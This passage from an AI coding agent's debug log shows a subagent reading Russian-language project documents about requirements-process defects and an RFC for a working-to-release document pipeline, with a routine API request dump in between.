\u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f\\n  \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438\u00bb;\\n- \u043b\u0438\u0441\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 Execution Package \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u043d\u0435\u0439\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a `steps:`.\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f: \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435\\n\u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u043d\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0432 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\\n\u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442. \u041f\u0440\u0438 \u043b\u0438\u043d\u0435\u0439\u043d\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0435 \u0442\u0430\u043a\u0430\u044f\\n\u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a **\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430** \u0438 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u043e\u0439.\\n\\n## \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. \u0414\u0435\u0444\u0435\u043a\u0442\u044b `D1`\u2013`D4` \u0434\u0435\u043b\u0430\u044e\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u2192 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0442\u043e\u043c \u0432\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435.\\n2. \u0414\u0435\u0444\u0435\u043a\u0442\u044b `D5`, `D6` \u0434\u0435\u043b\u0430\u044e\u0442 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u2192 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043d\u0430\u0432\u044b\u043a\u0430\\n   (\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430) \u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u00ab\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u00bb, \u00ab\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432\\n   \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n3. \u0414\u0435\u0444\u0435\u043a\u0442 `D7` \u043b\u0438\u0448\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u043f\u0440\u0430\u0432\u0430 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u2014 \u044d\u0442\u043e\\n   \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\\n   [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n   \u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0435\u0439\u0441\u043e\u0432 \u0432\u043c\u0435\u0441\u0442\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n4. \u0414\u0435\u0444\u0435\u043a\u0442 `D8` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043a\u0430\u043a \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441\\n   \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u043c\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u043f\u043e \u0433\u0435\u0439\u0442\u0430\u043c.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n- \u0414\u0435\u0444\u0435\u043a\u0442\u044b `D1`, `D2`, `D8` \u0438\u0449\u0443\u0442\u0441\u044f **\u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438**: \u0437\u0430\u043c\u0435\u0440 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\\n  \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0430.\\n- `D3` \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043f\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b; \u0441\u0442\u0440\u043e\u043a\u0438 \u0431\u0435\u0437 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u043e\u043b\u044f\\n  \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0447\u0451\u0442 \u043d\u0435 \u0438\u0434\u0443\u0442 (\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043e 30 \u0441\u0442\u0440\u043e\u043a \u0438\u0437 30).\\n- `D4` \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0441\u043c\u044b\u0441\u043b: \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0441 \u043e\u0434\u043d\u0438\u043c \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c\\n  \u043d\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u0451\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0449\u0438\u043c, \u0447\u0442\u043e **\u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442** \u0447\u0438\u0441\u043b\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u043d\u044b\u0445 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0439.\\n- `D6` \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u0438 \u043b\u044e\u0431\u043e\u043c \u0438\u0437 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0445 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0439\\n  (`\u0421\u0438\u0441\u0442\u0435\u043c\u0430`/`System`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`/`User`, `\u0410\u043a\u0442\u043e\u0440`/`Actor`,\\n  `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441`/`Subprocess`).\\n- `D7` \u0431\u0435\u0440\u0451\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043f\u0440\u043e\u0433\u043e\u043d \u0431\u0435\u0437 \u043f\u043e\u043b\u044f \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n  \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e (\u0442\u0430\u043a\u0438\u0445 0).\",\n[2026-09-29T07:45:10.297Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:10.297Z] [INFO]       }\n[2026-09-29T07:45:10.297Z] [INFO]     ]\n[2026-09-29T07:45:10.297Z] [INFO]   },\n[2026-09-29T07:45:10.297Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"uuid\": \"05a6f49a-51a6-4d21-b45f-f8aeb6e19201\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:10.086Z\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:10.297Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:10.297Z] [INFO] }\n[2026-09-29T07:45:10.308Z] [STDOUT] [log_3bf29b] sending request {\n[2026-09-29T07:45:10.312Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:10.314Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:10.316Z] [STDOUT]   options: {\n[2026-09-29T07:45:10.321Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:10.327Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:10.334Z] [STDOUT]     body: {\n[2026-09-29T07:45:10.347Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:10.351Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:10.357Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:10.362Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:10.370Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:10.373Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:10.376Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:10.382Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:10.386Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:10.389Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:10.400Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:10.402Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:10.406Z] [STDOUT]     },\n[2026-09-29T07:45:10.410Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:10.413Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:10.420Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:10.426Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:10.432Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:10.436Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:10.441Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:10.447Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:10.451Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:10.454Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:10.459Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:10.463Z] [STDOUT]     },\n[2026-09-29T07:45:10.467Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:10.471Z] [STDOUT]   },\n[2026-09-29T07:45:10.474Z] [STDOUT]   headers: {\n[2026-09-29T07:45:10.477Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:10.480Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:10.484Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:10.487Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:10.489Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:10.493Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:10.499Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:10.505Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:10.511Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:10.519Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:10.526Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:10.537Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1767\",\n[2026-09-29T07:45:10.550Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:10.554Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:10.560Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.565Z] [STDOUT]     \"x-client-request-id\": \"0e5ba0f9-881c-4fdb-8b55-d7401a6493d2\",\n[2026-09-29T07:45:10.568Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:10.572Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:10.574Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:10.578Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:10.582Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:10.586Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:10.589Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:10.595Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:10.599Z] [STDOUT]   },\n[2026-09-29T07:45:10.606Z] [STDOUT] }\n[2026-09-29T07:45:10.620Z] [INFO] {\n[2026-09-29T07:45:10.620Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:10.620Z] [INFO]   \"message\": {\n[2026-09-29T07:45:10.620Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:10.620Z] [INFO]     \"content\": [\n[2026-09-29T07:45:10.620Z] [INFO]       {\n[2026-09-29T07:45:10.620Z] [INFO]         \"tool_use_id\": \"toolu_012zEfTiAeCECsJU3MNXMuKU\",\n[2026-09-29T07:45:10.620Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:10.620Z] [INFO]         \"content\": \"=== docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n\\n# RFC: \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 Working Document \u2192 Release Document \u0434\u043b\u044f BCREQ\\n\\n## RFC Metadata\\n\\n| \u041f\u043e\u043b\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| Owner | G-Ivan-A |\\n| RFC status | `accepted`; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) |\\n| Source issue | [#607](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/607) |\\n| Implementation link | [PR #608](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/608) |\\n| Evidence | \u0414\u0435\u0432\u044f\u0442\u044c \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438; \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f [PR #602](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/602), [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604) \u0438 [PR #606](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/606) |\\n| Impacted artifacts | \u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: BCREQ Source schema, skills, gates, compiler, release profiles \u0438 Distribution |\\n| Decision record | \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u043f\u044f\u0442\u044c \u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609) \u0434\u0438\u0430\u043b\u043e\u0433\u0435; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 [\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md) |\\n| Archetype scope | `C` \u2014 Product Spoke / Runtime |\\n\\n## Summary\\n\\n\u041d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0434\u0432\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. BCREQ \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\\n\u043e\u0434\u0438\u043d \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 **Working Document** \u2014 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\\n\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438 \u2014 \u0438 \u043e\u0434\u0438\u043d \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e **Release Document**,\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e baseline \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439\\n\u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.\\n\\n\u0420\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 evidence, User Story, scope, FR/NFR, UC, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f,\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438 edge cases. Release \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u0443\u044e \u0438\\n\u0443\u043c\u0435\u0441\u0442\u043d\u0443\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e. \u041a\u0430\u0436\u0434\u044b\u0439 NFR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 FR.\\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a `requires_backward_compatibility` \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e FR \u0438 \u043f\u0440\u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\\n\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0432 FR, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, edge cases \u0438\\n\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u0434\u0438\u0437\u0430\u0439\u043d\u0435. \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 \u0438 \u0441\u0430\u043c\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `G-release`.\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d\u044b Working/Release \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435\u043c, \u0447\u0442\u043e BABOK, IREB \u0438\u043b\u0438 TM Forum \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0442\u0430\u043a\u0438\u043c\u0438\\n\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438.\\n\\n## Motivation\\n\\n\u0410\u043d\u0430\u043b\u0438\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\\n\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c.\\n\\n| \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 | \u0420\u0438\u0441\u043a | \u0422\u0440\u0435\u0431\u0443\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n| --- | --- | --- |\\n| \u0412 \u0445\u043e\u0434\u0435 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, UI-\u0434\u0435\u0442\u0430\u043b\u0438 \u0438 edge cases \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u043e \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0442\u0435\u043a\u0441\u0442. | \u0415\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0445 \u0440\u0430\u043d\u043e, \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435; \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0441\u0451, \u043a\u043b\u0438\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e 